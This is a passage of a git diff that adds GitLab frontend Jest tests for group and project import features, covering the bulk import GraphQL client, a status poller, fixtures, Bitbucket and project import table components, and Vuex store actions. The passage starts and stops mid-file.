+ axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(httpStatus.OK);
+ await client.mutate({
+ mutation: importGroupMutation,
+ variables: { sourceGroupId: GROUP_ID },
+ });
+ const [statusPoller] = StatusPoller.mock.instances;
+ expect(statusPoller.startPolling).toHaveBeenCalled();
+ });
+
+ it('resets status to NONE if request fails', async () => {
+ axiosMockAdapter
+ .onPost(FAKE_ENDPOINTS.createBulkImport)
+ .reply(httpStatus.INTERNAL_SERVER_ERROR);
+
+ client
+ .mutate({
+ mutation: importGroupMutation,
+ variables: { sourceGroupId: GROUP_ID },
+ })
+ .catch(() => {});
+ await waitForPromises();
+
+ expect(results[0].status).toBe(STATUSES.NONE);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_groups/graphql/fixtures.js b/spec/frontend/import_entities/import_groups/graphql/fixtures.js
new file mode 100644
index 00000000000..62e9581bd2d
--- /dev/null
+++ b/spec/frontend/import_entities/import_groups/graphql/fixtures.js
@@ -0,0 +1,51 @@
+import { clientTypenames } from '~/import_entities/import_groups/graphql/client_factory';
+
+export const generateFakeEntry = ({ id, status, ...rest }) => ({
+ __typename: clientTypenames.BulkImportSourceGroup,
+ web_url: `https://fake.host/${id}`,
+ full_path: `fake_group_${id}`,
+ full_name: `fake_name_${id}`,
+ import_target: {
+ target_namespace: 'root',
+ new_name: `group${id}`,
+ },
+ id,
+ status,
+ ...rest,
+});
+
+export const statusEndpointFixture = {
+ importable_data: [
+ {
+ id: 2595438,
+ full_name: 'AutoBreakfast',
+ full_path: 'auto-breakfast',
+ web_url: 'https://gitlab.com/groups/auto-breakfast',
+ },
+ {
+ id: 4347861,
+ full_name: 'GitLab Data',
+ full_path: 'gitlab-data',
+ web_url: 'https://gitlab.com/groups/gitlab-data',
+ },
+ {
+ id: 5723700,
+ full_name: 'GitLab Services',
+ full_path: 'gitlab-services',
+ web_url: 'https://gitlab.com/groups/gitlab-services',
+ },
+ {
+ id: 349181,
+ full_name: 'GitLab-examples',
+ full_path: 'gitlab-examples',
+ web_url: 'https://gitlab.com/groups/gitlab-examples',
+ },
+ ],
+};
+
+export const availableNamespacesFixture = [
+ { id: 24, full_path: 'Commit451' },
+ { id: 22, full_path: 'gitlab-org' },
+ { id: 23, full_path: 'gnuwget' },
+ { id: 25, full_path: 'jashkenas' },
+];
diff --git a/spec/frontend/import_entities/import_groups/graphql/services/source_groups_manager_spec.js b/spec/frontend/import_entities/import_groups/graphql/services/source_groups_manager_spec.js
new file mode 100644
index 00000000000..5940ea544ea
--- /dev/null
+++ b/spec/frontend/import_entities/import_groups/graphql/services/source_groups_manager_spec.js
@@ -0,0 +1,82 @@
+import { defaultDataIdFromObject } from 'apollo-cache-inmemory';
+import { SourceGroupsManager } from '~/import_entities/import_groups/graphql/services/source_groups_manager';
+import ImportSourceGroupFragment from '~/import_entities/import_groups/graphql/fragments/bulk_import_source_group_item.fragment.graphql';
+import { clientTypenames } from '~/import_entities/import_groups/graphql/client_factory';
+
+describe('SourceGroupsManager', () => {
+ let manager;
+ let client;
+
+ const getFakeGroup = () => ({
+ __typename: clientTypenames.BulkImportSourceGroup,
+ id: 5,
+ });
+
+ beforeEach(() => {
+ client = {
+ readFragment: jest.fn(),
+ writeFragment: jest.fn(),
+ };
+
+ manager = new SourceGroupsManager({ client });
+ });
+
+ it('finds item by group id', () => {
+ const ID = 5;
+
+ const FAKE_GROUP = getFakeGroup();
+ client.readFragment.mockReturnValue(FAKE_GROUP);
+ const group = manager.findById(ID);
+ expect(group).toBe(FAKE_GROUP);
+ expect(client.readFragment).toHaveBeenCalledWith({
+ fragment: ImportSourceGroupFragment,
+ id: defaultDataIdFromObject(getFakeGroup()),
+ });
+ });
+
+ it('updates group with provided function', () => {
+ const UPDATED_GROUP = {};
+ const fn = jest.fn().mockReturnValue(UPDATED_GROUP);
+ manager.update(getFakeGroup(), fn);
+
+ expect(client.writeFragment).toHaveBeenCalledWith({
+ fragment: ImportSourceGroupFragment,
+ id: defaultDataIdFromObject(getFakeGroup()),
+ data: UPDATED_GROUP,
+ });
+ });
+
+ it('updates group by id with provided function', () => {
+ const UPDATED_GROUP = {};
+ const fn = jest.fn().mockReturnValue(UPDATED_GROUP);
+ client.readFragment.mockReturnValue(getFakeGroup());
+ manager.updateById(getFakeGroup().id, fn);
+
+ expect(client.readFragment).toHaveBeenCalledWith({
+ fragment: ImportSourceGroupFragment,
+ id: defaultDataIdFromObject(getFakeGroup()),
+ });
+
+ expect(client.writeFragment).toHaveBeenCalledWith({
+ fragment: ImportSourceGroupFragment,
+ id: defaultDataIdFromObject(getFakeGroup()),
+ data: UPDATED_GROUP,
+ });
+ });
+
+ it('sets import status when group is provided', () => {
+ client.readFragment.mockReturnValue(getFakeGroup());
+
+ const NEW_STATUS = 'NEW_STATUS';
+ manager.setImportStatus(getFakeGroup(), NEW_STATUS);
+
+ expect(client.writeFragment).toHaveBeenCalledWith({
+ fragment: ImportSourceGroupFragment,
+ id: defaultDataIdFromObject(getFakeGroup()),
+ data: {
+ ...getFakeGroup(),
+ status: NEW_STATUS,
+ },
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_groups/graphql/services/status_poller_spec.js b/spec/frontend/import_entities/import_groups/graphql/services/status_poller_spec.js
new file mode 100644
index 00000000000..8eb1ffb3cd0
--- /dev/null
+++ b/spec/frontend/import_entities/import_groups/graphql/services/status_poller_spec.js
@@ -0,0 +1,213 @@
+import { createMockClient } from 'mock-apollo-client';
+import { InMemoryCache } from 'apollo-cache-inmemory';
+import waitForPromises from 'helpers/wait_for_promises';
+
+import createFlash from '~/flash';
+import { StatusPoller } from '~/import_entities/import_groups/graphql/services/status_poller';
+import bulkImportSourceGroupsQuery from '~/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql';
+import { STATUSES } from '~/import_entities/constants';
+import { SourceGroupsManager } from '~/import_entities/import_groups/graphql/services/source_groups_manager';
+import { generateFakeEntry } from '../fixtures';
+
+jest.mock('~/flash');
+jest.mock('~/import_entities/import_groups/graphql/services/source_groups_manager', () => ({
+ SourceGroupsManager: jest.fn().mockImplementation(function mock() {
+ this.setImportStatus = jest.fn();
+ }),
+}));
+
+const TEST_POLL_INTERVAL = 1000;
+
+describe('Bulk import status poller', () => {
+ let poller;
+ let clientMock;
+
+ const listQueryCacheCalls = () =>
+ clientMock.readQuery.mock.calls.filter(call => call[0].query === bulkImportSourceGroupsQuery);
+
+ beforeEach(() => {
+ clientMock = createMockClient({
+ cache: new InMemoryCache({
+ fragmentMatcher: { match: () => true },
+ }),
+ });
+
+ jest.spyOn(clientMock, 'readQuery');
+
+ poller = new StatusPoller({
+ client: clientMock,
+ interval: TEST_POLL_INTERVAL,
+ });
+ });
+
+ describe('general behavior', () => {
+ beforeEach(() => {
+ clientMock.cache.writeQuery({
+ query: bulkImportSourceGroupsQuery,
+ data: { bulkImportSourceGroups: [] },
+ });
+ });
+
+ it('does not perform polling when constructed', () => {
+ jest.runOnlyPendingTimers();
+ expect(listQueryCacheCalls()).toHaveLength(0);
+ });
+
+ it('immediately start polling when requested', async () => {
+ await poller.startPolling();
+ expect(listQueryCacheCalls()).toHaveLength(1);
+ });
+
+ it('constantly polls when started', async () => {
+ poller.startPolling();
+ expect(listQueryCacheCalls()).toHaveLength(1);
+
+ jest.advanceTimersByTime(TEST_POLL_INTERVAL);
+ expect(listQueryCacheCalls()).toHaveLength(2);
+
+ jest.advanceTimersByTime(TEST_POLL_INTERVAL);
+ expect(listQueryCacheCalls()).toHaveLength(3);
+ });
+
+ it('does not start polling when requested multiple times', async () => {
+ poller.startPolling();
+ expect(listQueryCacheCalls()).toHaveLength(1);
+
+ poller.startPolling();
+ expect(listQueryCacheCalls()).toHaveLength(1);
+ });
+
+ it('stops polling when requested', async () => {
+ poller.startPolling();
+ expect(listQueryCacheCalls()).toHaveLength(1);
+
+ poller.stopPolling();
+ jest.runOnlyPendingTimers();
+ expect(listQueryCacheCalls()).toHaveLength(1);
+ });
+
+ it('does not query server when list is empty', async () => {
+ jest.spyOn(clientMock, 'query');
+ poller.startPolling();
+ expect(clientMock.query).not.toHaveBeenCalled();
+ });
+ });
+
+ it('does not query server when no groups have STARTED status', async () => {
+ clientMock.cache.writeQuery({
+ query: bulkImportSourceGroupsQuery,
+ data: {
+ bulkImportSourceGroups: [STATUSES.NONE, STATUSES.FINISHED].map((status, idx) =>
+ generateFakeEntry({ status, id: idx }),
+ ),
+ },
+ });
+
+ jest.spyOn(clientMock, 'query');
+ poller.startPolling();
+ expect(clientMock.query).not.toHaveBeenCalled();
+ });
+
+ describe('when there are groups which have STARTED status', () => {
+ const TARGET_NAMESPACE = 'root';
+
+ const STARTED_GROUP_1 = {
+ status: STATUSES.STARTED,
+ id: 'started1',
+ import_target: {
+ target_namespace: TARGET_NAMESPACE,
+ new_name: 'group1',
+ },
+ };
+
+ const STARTED_GROUP_2 = {
+ status: STATUSES.STARTED,
+ id: 'started2',
+ import_target: {
+ target_namespace: TARGET_NAMESPACE,
+ new_name: 'group2',
+ },
+ };
+
+ const NOT_STARTED_GROUP = {
+ status: STATUSES.NONE,
+ id: 'not_started',
+ import_target: {
+ target_namespace: TARGET_NAMESPACE,
+ new_name: 'group3',
+ },
+ };
+
+ it('query server only for groups with STATUSES.STARTED', async () => {
+ clientMock.cache.writeQuery({
+ query: bulkImportSourceGroupsQuery,
+ data: {
+ bulkImportSourceGroups: [STARTED_GROUP_1, NOT_STARTED_GROUP, STARTED_GROUP_2].map(group =>
+ generateFakeEntry(group),
+ ),
+ },
+ });
+
+ clientMock.query = jest.fn().mockResolvedValue({ data: {} });
+ poller.startPolling();
+
+ expect(clientMock.query).toHaveBeenCalledTimes(1);
+ await waitForPromises();
+ const [[doc]] = clientMock.query.mock.calls;
+ const { selections } = doc.query.definitions[0].selectionSet;
+ expect(selections.every(field => field.name.value === 'group')).toBeTruthy();
+ expect(selections).toHaveLength(2);
+ expect(selections.map(sel => sel.arguments[0].value.value)).toStrictEqual([
+ `${TARGET_NAMESPACE}/${STARTED_GROUP_1.import_target.new_name}`,
+ `${TARGET_NAMESPACE}/${STARTED_GROUP_2.import_target.new_name}`,
+ ]);
+ });
+
+ it('updates statuses only for groups in response', async () => {
+ clientMock.cache.writeQuery({
+ query: bulkImportSourceGroupsQuery,
+ data: {
+ bulkImportSourceGroups: [STARTED_GROUP_1, STARTED_GROUP_2].map(group =>
+ generateFakeEntry(group),
+ ),
+ },
+ });
+
+ clientMock.query = jest.fn().mockResolvedValue({ data: { group0: {} } });
+ poller.startPolling();
+ await waitForPromises();
+ const [managerInstance] = SourceGroupsManager.mock.instances;
+ expect(managerInstance.setImportStatus).toHaveBeenCalledTimes(1);
+ expect(managerInstance.setImportStatus).toHaveBeenCalledWith(
+ expect.objectContaining({ id: STARTED_GROUP_1.id }),
+ STATUSES.FINISHED,
+ );
+ });
+
+ describe('when error occurs', () => {
+ beforeEach(() => {
+ clientMock.cache.writeQuery({
+ query: bulkImportSourceGroupsQuery,
+ data: {
+ bulkImportSourceGroups: [STARTED_GROUP_1, STARTED_GROUP_2].map(group =>
+ generateFakeEntry(group),
+ ),
+ },
+ });
+
+ clientMock.query = jest.fn().mockRejectedValue(new Error('dummy error'));
+ poller.startPolling();
+ return waitForPromises();
+ });
+
+ it('reports an error', () => {
+ expect(createFlash).toHaveBeenCalled();
+ });
+
+ it('continues polling', async () => {
+ jest.advanceTimersByTime(TEST_POLL_INTERVAL);
+ expect(listQueryCacheCalls()).toHaveLength(2);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_projects/components/bitbucket_status_table_spec.js b/spec/frontend/import_entities/import_projects/components/bitbucket_status_table_spec.js
new file mode 100644
index 00000000000..8f8c01a8b81
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/components/bitbucket_status_table_spec.js
@@ -0,0 +1,59 @@
+import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+
+import { GlAlert } from '@gitlab/ui';
+import BitbucketStatusTable from '~/import_entities/import_projects/components/bitbucket_status_table.vue';
+import ImportProjectsTable from '~/import_entities/import_projects/components/import_projects_table.vue';
+
+const ImportProjectsTableStub = {
+ name: 'ImportProjectsTable',
+ template:
+ '<div><slot name="incompatible-repos-warning"></slot><slot name="actions"></slot></div>',
+};
+
+describe('BitbucketStatusTable', () => {
+ let wrapper;
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ function createComponent(propsData, importProjectsTableStub = true, slots) {
+ wrapper = shallowMount(BitbucketStatusTable, {
+ propsData,
+ stubs: {
+ ImportProjectsTable: importProjectsTableStub,
+ },
+ slots,
+ });
+ }
+
+ it('renders import table component', () => {
+ createComponent({ providerTitle: 'Test' });
+ expect(wrapper.find(ImportProjectsTable).exists()).toBe(true);
+ });
+
+ it('passes alert in incompatible-repos-warning slot', () => {
+ createComponent({ providerTitle: 'Test' }, ImportProjectsTableStub);
+ expect(wrapper.find(GlAlert).exists()).toBe(true);
+ });
+
+ it('passes actions slot to import project table component', () => {
+ const actionsSlotContent = 'DEMO';
+ createComponent({ providerTitle: 'Test' }, ImportProjectsTableStub, {
+ actions: actionsSlotContent,
+ });
+ expect(wrapper.find(ImportProjectsTable).text()).toBe(actionsSlotContent);
+ });
+
+ it('dismisses alert when requested', async () => {
+ createComponent({ providerTitle: 'Test' }, ImportProjectsTableStub);
+ wrapper.find(GlAlert).vm.$emit('dismiss');
+ await nextTick();
+
+ expect(wrapper.find(GlAlert).exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js b/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js
new file mode 100644
index 00000000000..b4ac11b4404
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js
@@ -0,0 +1,249 @@
+import { nextTick } from 'vue';
+import Vuex from 'vuex';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { GlLoadingIcon, GlButton, GlIntersectionObserver } from '@gitlab/ui';
+import state from '~/import_entities/import_projects/store/state';
+import * as getters from '~/import_entities/import_projects/store/getters';
+import { STATUSES } from '~/import_entities/constants';
+import ImportProjectsTable from '~/import_entities/import_projects/components/import_projects_table.vue';
+import ProviderRepoTableRow from '~/import_entities/import_projects/components/provider_repo_table_row.vue';
+
+describe('ImportProjectsTable', () => {
+ let wrapper;
+
+ const findFilterField = () =>
+ wrapper.find('input[data-qa-selector="githubish_import_filter_field"]');
+
+ const providerTitle = 'THE PROVIDER';
+ const providerRepo = {
+ importSource: {
+ id: 10,
+ sanitizedName: 'sanitizedName',
+ fullName: 'fullName',
+ },
+ importedProject: null,
+ };
+
+ const findImportAllButton = () =>
+ wrapper
+ .findAll(GlButton)
+ .filter(w => w.props().variant === 'success')
+ .at(0);
+ const findImportAllModal = () => wrapper.find({ ref: 'importAllModal' });
+
+ const importAllFn = jest.fn();
+ const importAllModalShowFn = jest.fn();
+ const fetchReposFn = jest.fn();
+
+ function createComponent({
+ state: initialState,
+ getters: customGetters,
+ slots,
+ filterable,
+ paginatable,
+ } = {}) {
+ const localVue = createLocalVue();
+ localVue.use(Vuex);
+
+ const store = new Vuex.Store({
+ state: { ...state(), ...initialState },
+ getters: {
+ ...getters,
+ ...customGetters,
+ },
+ actions: {
+ fetchRepos: fetchReposFn,
+ fetchJobs: jest.fn(),
+ fetchNamespaces: jest.fn(),
+ importAll: importAllFn,
+ stopJobsPolling: jest.fn(),
+ clearJobsEtagPoll: jest.fn(),
+ setFilter: jest.fn(),
+ },
+ });
+
+ wrapper = shallowMount(ImportProjectsTable, {
+ localVue,
+ store,
+ propsData: {
+ providerTitle,
+ filterable,
+ paginatable,
+ },
+ slots,
+ stubs: {
+ GlModal: { template: '<div>Modal!</div>', methods: { show: importAllModalShowFn } },
+ },
+ });
+ }
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ it('renders a loading icon while repos are loading', () => {
+ createComponent({ state: { isLoadingRepos: true } });
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+
+ it('renders a loading icon while namespaces are loading', () => {
+ createComponent({ state: { isLoadingNamespaces: true } });
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+
+ it('renders a table with provider repos', () => {
+ const repositories = [
+ { importSource: { id: 1 }, importedProject: null },
+ { importSource: { id: 2 }, importedProject: { importStatus: STATUSES.FINISHED } },
+ { importSource: { id: 3, incompatible: true }, importedProject: {} },
+ ];
+
+ createComponent({
+ state: { namespaces: [{ fullPath: 'path' }], repositories },
+ });
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ expect(wrapper.find('table').exists()).toBe(true);
+ expect(
+ wrapper
+ .findAll('th')
+ .filter(w => w.text() === `From ${providerTitle}`)
+ .exists(),
+ ).toBe(true);
+
+ expect(wrapper.findAll(ProviderRepoTableRow)).toHaveLength(repositories.length);
+ });
+
+ it.each`
+ hasIncompatibleRepos | count | buttonText
+ ${false} | ${1} | ${'Import 1 repository'}
+ ${true} | ${1} | ${'Import 1 compatible repository'}
+ ${false} | ${5} | ${'Import 5 repositories'}
+ ${true} | ${5} | ${'Import 5 compatible repositories'}
+ `(
+ 'import all button has "$buttonText" text when hasIncompatibleRepos is $hasIncompatibleRepos and repos count is $count',
+ ({ hasIncompatibleRepos, buttonText, count }) => {
+ createComponent({
+ state: {
+ providerRepos: [providerRepo],
+ },
+ getters: {
+ hasIncompatibleRepos: () => hasIncompatibleRepos,
+ importAllCount: () => count,
+ },
+ });
+
+ expect(findImportAllButton().text()).toBe(buttonText);
+ },
+ );
+
+ it('renders an empty state if there are no repositories available', () => {
+ createComponent({ state: { repositories: [] } });
+
+ expect(wrapper.find(ProviderRepoTableRow).exists()).toBe(false);
+ expect(wrapper.text()).toContain(`No ${providerTitle} repositories found`);
+ });
+
+ it('opens confirmation modal when import all button is clicked', async () => {
+ createComponent({ state: { repositories: [providerRepo] } });
+
+ findImportAllButton().vm.$emit('click');
+ await nextTick();
+
+ expect(importAllModalShowFn).toHaveBeenCalled();
+ });
+
+ it('triggers importAll action when modal is confirmed', async () => {
+ createComponent({ state: { providerRepos: [providerRepo] } });
+
+ findImportAllModal().vm.$emit('ok');
+ await nextTick();
+
+ expect(importAllFn).toHaveBeenCalled();
+ });
+
+ it('shows loading spinner when import is in progress', () => {
+ createComponent({ getters: { isImportingAnyRepo: () => true } });
+
+ expect(findImportAllButton().props().loading).toBe(true);
+ });
+
+ it('renders filtering input field by default', () => {
+ createComponent();
+
+ expect(findFilterField().exists()).toBe(true);
+ });
+
+ it('does not render filtering input field when filterable is false', () => {
+ createComponent({ filterable: false });
+
+ expect(findFilterField().exists()).toBe(false);
+ });
+
+ describe('when paginatable is set to true', () => {
+ const pageInfo = { page: 1 };
+
+ beforeEach(() => {
+ createComponent({
+ state: {
+ namespaces: [{ fullPath: 'path' }],
+ pageInfo,
+ repositories: [
+ { importSource: { id: 1 }, importedProject: null, importStatus: STATUSES.NONE },
+ ],
+ },
+ paginatable: true,
+ });
+ });
+
+ it('does not call fetchRepos on mount', () => {
+ expect(fetchReposFn).not.toHaveBeenCalled();
+ });
+
+ it('renders intersection observer component', () => {
+ expect(wrapper.find(GlIntersectionObserver).exists()).toBe(true);
+ });
+
+ it('calls fetchRepos when intersection observer appears', async () => {
+ wrapper.find(GlIntersectionObserver).vm.$emit('appear');
+
+ await nextTick();
+
+ expect(fetchReposFn).toHaveBeenCalled();
+ });
+ });
+
+ it('calls fetchRepos on mount', () => {
+ createComponent();
+
+ expect(fetchReposFn).toHaveBeenCalled();
+ });
+
+ it.each`
+ hasIncompatibleRepos | shouldRenderSlot | action
+ ${false} | ${false} | ${'does not render'}
+ ${true} | ${true} | ${'render'}
+ `(
+ '$action incompatible-repos-warning slot if hasIncompatibleRepos is $hasIncompatibleRepos',
+ ({ hasIncompatibleRepos, shouldRenderSlot }) => {
+ const INCOMPATIBLE_TEXT = 'INCOMPATIBLE!';
+
+ createComponent({
+ getters: {
+ hasIncompatibleRepos: () => hasIncompatibleRepos,
+ },
+
+ slots: {
+ 'incompatible-repos-warning': INCOMPATIBLE_TEXT,
+ },
+ });
+
+ expect(wrapper.text().includes(INCOMPATIBLE_TEXT)).toBe(shouldRenderSlot);
+ },
+ );
+});
diff --git a/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js b/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js
new file mode 100644
index 00000000000..aa003226050
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js
@@ -0,0 +1,169 @@
+import { nextTick } from 'vue';
+import Vuex from 'vuex';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { GlBadge } from '@gitlab/ui';
+import ProviderRepoTableRow from '~/import_entities/import_projects/components/provider_repo_table_row.vue';
+import ImportStatus from '~/import_entities/components/import_status.vue';
+import { STATUSES } from '~/import_entities//constants';
+import Select2Select from '~/vue_shared/components/select2_select.vue';
+
+describe('ProviderRepoTableRow', () => {
+ let wrapper;
+ const fetchImport = jest.fn();
+ const setImportTarget = jest.fn();
+ const fakeImportTarget = {
+ targetNamespace: 'target',
+ newName: 'newName',
+ };
+
+ const availableNamespaces = [
+ { text: 'Groups', children: [{ id: 'test', text: 'test' }] },
+ { text: 'Users', children: [{ id: 'root', text: 'root' }] },
+ ];
+
+ function initStore(initialState) {
+ const store = new Vuex.Store({
+ state: initialState,
+ getters: {
+ getImportTarget: () => () => fakeImportTarget,
+ },
+ actions: { fetchImport, setImportTarget },
+ });
+
+ return store;
+ }
+
+ const findImportButton = () => {
+ const buttons = wrapper.findAll('button').filter(node => node.text() === 'Import');
+
+ return buttons.length ? buttons.at(0) : buttons;
+ };
+
+ function mountComponent(props) {
+ const localVue = createLocalVue();
+ localVue.use(Vuex);
+
+ const store = initStore();
+
+ wrapper = shallowMount(ProviderRepoTableRow, {
+ localVue,
+ store,
+ propsData: { availableNamespaces, ...props },
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when rendering importable project', () => {
+ const repo = {
+ importSource: {
+ id: 'remote-1',
+ fullName: 'fullName',
+ providerLink: 'providerLink',
+ },
+ };
+
+ beforeEach(() => {
+ mountComponent({ repo });
+ });
+
+ it('renders project information', () => {
+ const providerLink = wrapper.find('[data-testid=providerLink]');
+
+ expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
+ expect(providerLink.text()).toMatch(repo.importSource.fullName);
+ });
+
+ it('renders empty import status', () => {
+ expect(wrapper.find(ImportStatus).props().status).toBe(STATUSES.NONE);
+ });
+
+ it('renders a select2 namespace select', () => {
+ expect(wrapper.find(Select2Select).exists()).toBe(true);
+ expect(wrapper.find(Select2Select).props().options.data).toBe(availableNamespaces);
+ });
+
+ it('renders import button', () => {
+ expect(findImportButton().exists()).toBe(true);
+ });
+
+ it('imports repo when clicking import button', async () => {
+ findImportButton().trigger('click');
+
+ await nextTick();
+
+ const { calls } = fetchImport.mock;
+
+ expect(calls).toHaveLength(1);
+ expect(calls[0][1]).toBe(repo.importSource.id);
+ });
+ });
+
+ describe('when rendering imported project', () => {
+ const repo = {
+ importSource: {
+ id: 'remote-1',
+ fullName: 'fullName',
+ providerLink: 'providerLink',
+ },
+ importedProject: {
+ id: 1,
+ fullPath: 'fullPath',
+ importSource: 'importSource',
+ importStatus: STATUSES.FINISHED,
+ },
+ };
+
+ beforeEach(() => {
+ mountComponent({ repo });
+ });
+
+ it('renders project information', () => {
+ const providerLink = wrapper.find('[data-testid=providerLink]');
+
+ expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
+ expect(providerLink.text()).toMatch(repo.importSource.fullName);
+ });
+
+ it('renders proper import status', () => {
+ expect(wrapper.find(ImportStatus).props().status).toBe(repo.importedProject.importStatus);
+ });
+
+ it('does not renders a namespace select', () => {
+ expect(wrapper.find(Select2Select).exists()).toBe(false);
+ });
+
+ it('does not render import button', () => {
+ expect(findImportButton().exists()).toBe(false);
+ });
+ });
+
+ describe('when rendering incompatible project', () => {
+ const repo = {
+ importSource: {
+ id: 'remote-1',
+ fullName: 'fullName',
+ providerLink: 'providerLink',
+ incompatible: true,
+ },
+ };
+
+ beforeEach(() => {
+ mountComponent({ repo });
+ });
+
+ it('renders project information', () => {
+ const providerLink = wrapper.find('[data-testid=providerLink]');
+
+ expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
+ expect(providerLink.text()).toMatch(repo.importSource.fullName);
+ });
+
+ it('renders badge with error', () => {
+ expect(wrapper.find(GlBadge).text()).toBe('Incompatible project');
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_projects/store/actions_spec.js b/spec/frontend/import_entities/import_projects/store/actions_spec.js
new file mode 100644
index 00000000000..5d4e73a17a3
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/store/actions_spec.js
@@ -0,0 +1,398 @@
+import MockAdapter from 'axios-mock-adapter';
+import testAction from 'helpers/vuex_action_helper';
+import { TEST_HOST } from 'helpers/test_constants';
+import { deprecatedCreateFlash as createFlash } from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import {
+ REQUEST_REPOS,
+ RECEIVE_REPOS_SUCCESS,
+ RECEIVE_REPOS_ERROR,
+ REQUEST_IMPORT,
+ RECEIVE_IMPORT_SUCCESS,
+ RECEIVE_IMPORT_ERROR,
+ RECEIVE_JOBS_SUCCESS,
+ REQUEST_NAMESPACES,
+ RECEIVE_NAMESPACES_SUCCESS,
+ RECEIVE_NAMESPACES_ERROR,
+ SET_PAGE,
+ SET_FILTER,
+} from '~/import_entities/import_projects/store/mutation_types';
+import actionsFactory from '~/import_entities/import_projects/store/actions';
+import { getImportTarget } from '~/import_entities/import_projects/store/getters';
+import state from '~/import_entities/import_projects/store/state';
+import { STATUSES } from '~/import_entities/constants';
+
+jest.mock('~/flash');
+
+const MOCK_ENDPOINT = `${TEST_HOST}/endpoint.json`;
+const endpoints = {
+ reposPath: MOCK_ENDPOINT,
+ importPath: MOCK_ENDPOINT,
+ jobsPath: MOCK_ENDPOINT,
+ namespacesPath: MOCK_ENDPOINT,
+};
+
+const {
+ clearJobsEtagPoll,
+ stopJobsPolling,
+ importAll,
+ fetchRepos,
+ fetchImport,
+ fetchJobs,
+ fetchNamespaces,
+ setFilter,
+} = actionsFactory({
+ endpoints,
+});
+
+describe('import_projects store actions', () => {
+ let localState;
+ const importRepoId = 1;
+ const otherImportRepoId = 2;
+ const defaultTargetNamespace = 'default';
+ const sanitizedName = 'sanitizedName';
+ const defaultImportTarget = { newName: sanitizedName, targetNamespace: defaultTargetNamespace };
+
+ beforeEach(() => {
+ localState = {
+ ...state(),
+ defaultTargetNamespace,
+ repositories: [
+ { importSource: { id: importRepoId, sanitizedName }, importStatus: STATUSES.NONE },
+ {
+ importSource: { id: otherImportRepoId, sanitizedName: 's2' },
+ importStatus: STATUSES.NONE,
+ },
+ {
+ importSource: { id: 3, sanitizedName: 's3', incompatible: true },
+ importStatus: STATUSES.NONE,
+ },
+ ],
+ provider: 'provider',
+ };
+
+ localState.getImportTarget = getImportTarget(localState);
+ });
+
+ describe('fetchRepos', () => {
+ let mock;
+ const payload = { imported_projects: [{}], provider_repos: [{}] };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => mock.restore());
+
+ it('commits SET_PAGE, REQUEST_REPOS, RECEIVE_REPOS_SUCCESS mutations on a successful request', () => {
+ mock.onGet(MOCK_ENDPOINT).reply(200, payload);
+
+ return testAction(
+ fetchRepos,
+ null,
+ localState,
+ [
+ { type: SET_PAGE, payload: 1 },
+ { type: REQUEST_REPOS },
+ {
+ type: RECEIVE_REPOS_SUCCESS,
+ payload: convertObjectPropsToCamelCase(payload, { deep: true }),
+ },
+ ],
+ [],
+ );
+ });
+
+ it('commits SET_PAGE, REQUEST_REPOS, RECEIVE_REPOS_ERROR and SET_PAGE again mutations on an unsuccessful request', () => {
+ mock.onGet(MOCK_ENDPOINT).reply(500);
+
+ return testAction(
+ fetchRepos,
+ null,
+ localState,
+ [
+ { type: SET_PAGE, payload: 1 },
+ { type: REQUEST_REPOS },
+ { type: SET_PAGE, payload: 0 },
+ { type: RECEIVE_REPOS_ERROR },
+ ],
+ [],
+ );
+ });
+
+ it('includes page in url query params', async () => {
+ let requestedUrl;
+ mock.onGet().reply(config => {
+ requestedUrl = config.url;
+ return [200, payload];
+ });
+
+ const localStateWithPage = { ...localState, pageInfo: { page: 2 } };
+
+ await testAction(fetchRepos, null, localStateWithPage, expect.any(Array), expect.any(Array));
+
+ expect(requestedUrl).toBe(`${MOCK_ENDPOINT}?page=${localStateWithPage.pageInfo.page + 1}`);
+ });
+
+ it('correctly updates current page on an unsuccessful request', () => {
+ mock.onGet(MOCK_ENDPOINT).reply(500);
+ const CURRENT_PAGE = 5;
+
+ return testAction(
+ fetchRepos,
+ null,
+ { ...localState, pageInfo: { page: CURRENT_PAGE } },
+ expect.arrayContaining([
+ { type: SET_PAGE, payload: CURRENT_PAGE + 1 },
+ { type: SET_PAGE, payload: CURRENT_PAGE },
+ ]),
+ [],
+ );
+ });
+
+ describe('when rate limited', () => {
+ it('commits RECEIVE_REPOS_ERROR and shows rate limited error message', async () => {
+ mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(429);
+
+ await testAction(
+ fetchRepos,
+ null,
+ { ...localState, filter: 'filter' },
+ [
+ { type: SET_PAGE, payload: 1 },
+ { type: REQUEST_REPOS },
